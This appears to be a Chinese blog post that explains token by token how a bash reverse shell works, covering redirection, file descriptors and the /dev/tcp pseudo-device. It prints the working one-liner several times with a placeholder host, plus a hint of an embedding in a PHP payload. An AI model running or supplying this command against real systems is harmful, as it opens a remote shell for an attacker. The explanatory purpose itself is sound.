反弹bash shell解释
创始人
2025-05-28 12:51:02
参考:
https://stackoverflow.com/questions/818255/what-does-21-mean/818265#818265

你是否使用过类似代码:

&  /dev/tcp/xxx.xxx.xxx.xxx/port 0>&1' ") ?>

其中

/bin/bash -c 'bash -i >&  /dev/tcp/xxx.xxx.xxx.xxx/port 0>&1'

是一段用来反弹bash到目标ip的命令。意为使用bash打开新的bash,把标准输出重定向到远程主机,标准输入重定向到标准输出。实现远程主机输入命令,在本机执行,执行结果发送给远程主机。

/bin/bash -c ""

即使用bash执行引号里的命令。

bash -i

意为打开可交互的bash。

/bin/bash -c 'bash .........'

相当于在命令行窗口直接输入bash并回车运行,在bash中执行了“打开bash”的操作。

>&

大于号是重定向符号,意为对标准输出进行重定向,重定向到&符号后面所给出的目标。&符号用来表明后面跟的是文件描述符(file descriptor)。>1和>&1是有区别的,分别代表“重定向到文件名为1的文件中,若不存在该文件则进行创建,若存在该文件则对内容进行覆盖”和“重定向到标准输出”,使用&进行区分。&跟在>后的时候,被解释为重定向到文件描述符所指的目标。

/dev/tcp/xxx.xxx.xxx.xxx/port

是伪设备,代表远程主机。

>&  /dev/tcp/xxx.xxx.xxx.xxx/port

表示把标准输出重定向到远程主机。

0>&1

表示把标准输入重定向到标准输出。

/bin/bash -c 'bash -i >&  /dev/tcp/xxx.xxx.xxx.xxx/port 0>&1'

有两个重定向命令,>& /dev/tcp/xxx.xxx.xxx.xxx/port执行过后,标准输出已经重定向到远程主机,再执行0>&1,把标准输入重定向到标准输出,执行后,标准输入和标准输出都重定向到了远程主机。

注意,下列命令作用不同:(把0>&1放到>& /dev/tcp/xxx.xxx.xxx.xxx/port前面)

/bin/bash -c 'bash -i  0>&1 >& /dev/tcp/xxx.xxx.xxx.xxx/port'

这条命令先把标准输入重定向到标准输出,再把标准输出重定向到远程主机,执行后,标准输出的确定向到了远程主机,但标准输入未发生改变。

注:

文件描述符:
0 标准输入
1 标准输出
2 标准错误

在这里插入图片描述

相关内容

热门资讯

记者手记|时代大潮里的笃行与担... 来源:新华社记者手记|时代大潮里的笃行与担当新华社记者韩梁 朱瑞卿 伍岳9月的新德里草木葱郁,阳光热...
被骂 “君子之贼” 高若讷有点...     ◎宋慧敏    北宋景祐三年(1036年)一个春日,谏官高若讷接到一封信,写信人是刚刚入朝任...
烂缦胡同:烟火气里涌动青春创业...     近日,在“全国文化中心建设巡礼”主题采访活动中,北京青年报记者走进北京市西城区牛街街道烂缦胡...
科技赋能实体 金融护航出海     9月9日至13日,2026年中国国际服务贸易交易会(以下简称服贸会)在北京首钢园举办,今年的...
湖北大学最新或2023(历届)...   1、考生自最新或2023(历届)4月1日起可在湖北大学招生信息网(http://zsxx.hub...